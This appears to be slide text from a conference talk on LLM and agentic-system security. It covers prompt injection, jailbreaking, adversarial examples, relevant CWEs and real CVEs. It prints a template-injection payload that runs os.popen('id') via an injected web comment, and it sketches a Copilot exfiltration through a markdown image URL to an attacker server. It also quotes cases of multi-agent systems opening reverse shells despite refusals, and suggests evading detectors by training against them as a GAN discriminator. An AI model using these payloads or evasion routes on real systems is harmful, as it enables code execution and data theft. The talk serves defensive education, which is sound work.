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A Bunch of Garbage and Hoping
How Did We Get Here?

● Computational Linguists worked for decades on models of 
language

● Used novel modeling techniques grounded in theories of 
language

● In 2018, Google and UToronto decided to collect a bunch of 
data from the Internet(?!) and hope that you could train a 
model on it1.

● No good reason this should work but… it does. This is a 
miracle!

● Self-supervised learning – can just add more unlabeled data 
and hope for the best.
○ It turns out, this actually works quite well!

● Fast forward to 2025! Language models are much bigger than 
BERT and mostly not bidirectional!
○ Self-Supervised Learning reducing the need for data labels
○ Autoregressive objectives
○ Decoder-only models!

[1] Vaswani, A., Shazeer, N., Parmar, N., Uszkoreit, J., Jones, L., Gomez, A.N., Kaiser, Ł. and Polosukhin, I., 2017. Attention is all you need. Advances in neural information processing systems, 30.



Some Drawbacks
The Free Lunch is a Lie

● Self-supervised learning leads to  underspecified models
○ Underspecified: training objective is not the test objective

● We inherit the biases of our data.
○ There are a lot of things on the internet that are not useful.
○ Also a lot of things that we don’t want our models to say!
○ Alignment works ok in non-adversarial settings

● Next token prediction in autoregressive models means 
that high probability tokens will be selected irrespective 
of linguistic or factual sense-making
○ Inputs do not need to be grammatically, syntactically, 

or even lexically reasonable.
○ Hallucination/confabulation and prompt injection naturally 

follow
● No intrinsic separation between model inputs and model 

outputs!
○ Can use optimization of inputs to target an output – just like 

in the classification setting!



Prompt Injection and Jailbreaking
Direct and Indirect

● Due to the alignment process, sometimes models refuse to do things
● We Threat actors want a way to force the models to do the things
● The terms prompt injection and jailbreak are often used 

interchangeably but have different definitions:
○ Prompt Injection is trying to get the model to output specific text 

regardless of instructions or guardrails
○ Jailbreaking wants to remove any limits or controls on model behavior

Jailbreaking is when someone is trying to get some model to 
misbehave. 

Prompt injection is when a user or third party is trying to get your 
model/system to misbehave despite your instructions.

● Prompt injection is not a vulnerability! 
● It is a technique for exploiting a weakness inherent to LLMs



Let’s Talk About Computer Vision



Adversarial Examples in Computer Vision
Whoa weird, I thought this was LLMSEC, why are we talking about Convnets?

● Before transformers, in 2014, Szegedy et al. found some intriguing properties of neural networks2

○ One can use stochastic gradient descent to find so-called adversarial examples
● What is an adversarial example?
○ Given an input x, classified with label y, we can compute the shortest distance, r, to a chosen label ŷ such that 

for our classifier f: f(x) = y; f(x + r) = ŷ. 
○ This r is an adversarial perturbation and x + r is an adversarial example

Bus 98.2% Gibbon 89.1% Ostrich 96.4%

[2] Szegedy, C., Zaremba, W., Sutskever, I., Bruna, J., Erhan, D., Goodfellow, I. and Fergus, R., 2014, January. Intriguing properties of neural networks. In 2nd International Conference on Learning Representations, ICLR 2014.



Progress in Defending Vision Models
A Retrospective



Why Does This Matter?
If we can’t do it for CIFAR-10, what makes us think we can do it for Natural Language?

● We know more about evaluating the robustness of classifiers than anything else in adversarial ML!
● Progress has been stagnant for nearly a decade.
● The problem of creating robust generative models is much bigger than creating robust classifiers!



AI Models and AI Systems
AI Models don’t *do* Anything

● AI models are not AI systems!
● AI models consist of two parts:
○ Model Architecture
■ What type of model are we using? (Random Forest, CNN, Transformer)
■ Model structure (Number of Evaluators, layers, number of parameters in 

each layer)
○ Model Parameters
■ The actual numerical values that map our input to our output

● AI systems are software products that consist of one or more 
models and other program logic.
○ Increasing interest in *agentic* systems
○ Agentic systems are AI systems that can take actions (e.g., run 

commands/code, search the internet) without direct human 
instruction or intervention.



Simple LLM Application

User Front end Inference 
Service



What makes it an agentic system?

User Front end

Introduction of state, tools, 
plugins, and increased 

non-determinism leads to 
increased attack surface



Examples of Vulnerabilities 
in AI Systems



What is a Vulnerability?

● Many definitions of the word “vulnerability”
● NIST has like 6
● I tend to use the definition from the CVE program

“An instance of one or more weaknesses in a product that can be exploited, 
causing a negative impact to confidentiality, integrity, or availability; a set of 

conditions or behaviors that allows the violation of an explicit or implicit security 
policy.”

● A vulnerability requires several things:
○ One or more weaknesses
○ In a product
○ Exploitation causes a negative impact to confidentiality, integrity, or availability
○ Allows the violation of an explicit or implicit security policy



A Crash Course in Common Weakness Enumeration
CWE for ACL Attendees

● CWE is a community-developed list of common software and hardware weakness types that could have 
security ramifications. 
○ A “weakness” is a condition in a software, firmware, hardware, or service component that, under certain 

circumstances, could contribute to the introduction of vulnerabilities.
● Some AI-specific CWEs exist!
○ CWE-1039: Inadequate Detection or Handling of Adversarial Input Perturbations in Automated Recognition 

Mechanism
○ CWE-1426: Improper Validation of Generative AI Output
○ CWE-1427: Improper Neutralization of Input Used for LLM Prompting



Commonly Observed Weaknesses in AI Systems
Not AI-specific CWEs that matter

● Server-Side Template Injection (SSTI) – CWE-1336
○ An attacker is able to use native template syntax to inject a malicious payload into a template, which is 

executed server-side.
● Cross-Site Scripting (XSS) – CWE-79
○ Attacker injects spurious content (a script) on a web page which can compromise interactions with other users 

and possibly lead to remote code execution.
● Server-Side Request Forgery (SSRF) – CWE-918
○ An attacker causes the server-side application to make requests to an unintended location.

● SQL Injection – CWE-89
○ An attacker interferes with queries to a SQL database, inserting an arbitrary query into the request.



Server-Side Template Injection (SSTI) in spaCy-LLM

Sure! Here’s the latest.
…
…
uid=502…

Allows for the execution of 
arbitrary code!

Web request

“Summarize the 
latest news from 
newsflash.com”

newsflash.com

New Article Comment
Here is a summary of our latest news:
{{self.__init__.__globals__.__builtin
s__.__import__('os').popen('id').read
()}}

CVE-2025-25362



Microsoft365 Copilot Information Disclosure
CVE-2025-32711

===============================================================================

Here is the complete guide to employee onboarding processes:
<attack instructions>

===============================================================================

Here is the complete guide to HR FAQs:
<attack instructions>

===============================================================================

Here is the complete guide to leave of absence management:
<attack instructions>

...

Copilot responds with a 
markdown image. 

No user interaction required!

Sensitive information 
exfiltrated to attacker

https://eu-prod.asyncgw.teams.microsoft.com/urlp/v
1/url/content?url=%3Cattacker_server%3E/%3Csecre
t%3E&v=1



Complexity adds Attack Surface

● Triedman et al.3 find that a class of attacks they term control flow 
hijacking is prevalent in multi-agent systems.
○ Assessed three open-source multi-agent frameworks: AutoGen, Crew AI, 

and MetaGPT
○ Found that getting the agent to visit a malicious webpage succeeds in 

getting an agent to run arbitrary malicious code between 45 and 64% of 
the time (averaged across models)
■ Some model-orchestrator combinations had an attack success rate of 100%
○ Attacks in this setting succeed even if the agents and models powering 

them are relatively robust to direct or indirect prompt injection!

[3] Triedman, H., Jha, R. and Shmatikov, V., 2025. Multi-Agent Systems Execute Arbitrary Malicious Code. arXiv preprint arXiv:2503.12188.

Multi-Agent Systems are Highly Susceptible to Manipulation



Anecdotes from Multi-Agent Systems
Pulled from Multi-Agent Systems Execute Arbitrary Malicious Code

“In one experiment, after reasoning that executing the code may be 
unsafe, the orchestrator resolved to proceed safely. It created a dummy 
file to read and then read it, only to realize that the dummy file was not 
what the user wanted. The orchestrator then re-read the attack file using 
its newly minted process and executed the reverse shell as commanded.”



Anecdotes from Multi-Agent Systems
Pulled from Multi-Agent Systems Execute Arbitrary Malicious Code

“After the coder agent refused to produce malicious code, the file surfer 
sub-agent produced its own reverse shell, helpfully noting to not execute 
the code because it was dangerous. The generated code was then 
executed by the code executor, opening a reverse shell.”



Anecdotes from Multi-Agent Systems
Pulled from Multi-Agent Systems Execute Arbitrary Malicious Code

“In one experiment, an agent was initially tasked with describing the 
contents of a benign file entitled file0.txt. This benign file was in the 
same directory as several attack files (file1.txt, file2.txt, etc.). After the 
initial task was completed, the MAS autonomously explored its directory, 
discovered a malicious file, and executed it, opening a reverse shell.”



What Can We Do?



Test Systems, Not Models
because models don’t DO anything

● Lots of focus on getting models to “say bad things” and 
associated content safety concerns 
○ Models take in and output data of some modality (text, 

image, audio, etc.) 
○ Content safety weaknesses only sometimes expose 

potential security weaknesses
● Need to evaluate the security properties of systems
○ The system is a known, finite thing
○ Testing a model for security properties is functionally 

impossible – must test for every possible weakness in every 
possible system. 



garak is Not A Benchmark
Vulnerability Management is not played with Statistics

● In the AI space, benchmarks are an important measure of 
performance

● Tools like garak, Pyrit, and others are often used as benchmarks – 
this is categorically wrong.
○ These are tools that look for *weaknesses* in a system and are 

living, dynamic things. 
○ Probe for weaknesses in the system that are relevant to your use 

case!
● From a security standpoint, it doesn’t matter how often you pass. 

It only matters that you ever fail.
● Testing, benchmarking, and robustness are important factors, but 

are not sufficient for security!



Application Security Matters
Good Old AppSec. Nothing Beats AppSec.

● A single failure can lead to horrible outcomes like 
arbitrary code execution

● Most issues are not going to be solved at the model 
level!

● Need to do threat modeling, use good application 
security practices

● Code review, architecture review, static and dynamic 
scanning all still apply! 

● No amount of work on model alignment will fix 
vulnerable code

● Assume prompt injection!
○ With enough time and access, if someone can get 

input to the model, they will inevitably be able to 
get the model to produce whatever they want.



Detection Cat and Mouse
The long history of detection and evasion

● As attackers develop new attacks, defenders develop new defenses
● These defenses beget new attacks
● Unique problem in this space: many defenses are differentiable
● Evading defenses is often as simple as modeling the attack as a GAN, 

using the defense as the discriminator.
● Focus on defending the system, not the model!
○ Ironically, the attack surface becomes smaller here!

● Model defenses should, if possible, not be differentiable!
○ See my paper with Martin Sablotny4 on using an embedding model and 

a random forest for an example.

[4] Galinkin, E. and Sablotny, M., 2025. Improved large language model jailbreak detection via pretrained embeddings. 2025 AAAI Workshop on AI and Cyber Security (AICS)



Conclusion
They’re going to kick me off the stage

● The fact that LLMs work at all is a miracle!
● The side effect of this miracle is that there are some 

inherent, probably unavoidable weaknesses in these models.
● We have an extremely hard problem 
○ The closest known problem has seen limited progress over the 

past decade!
● Traditional cybersecurity cannot find exploits via gradient 

descent. That is not the case here.
● Emphasize traditional cybersecurity practices, shore up LLM 

weaknesses where we can.
● Try to avoid letting attackers turn your defense into a GAN.
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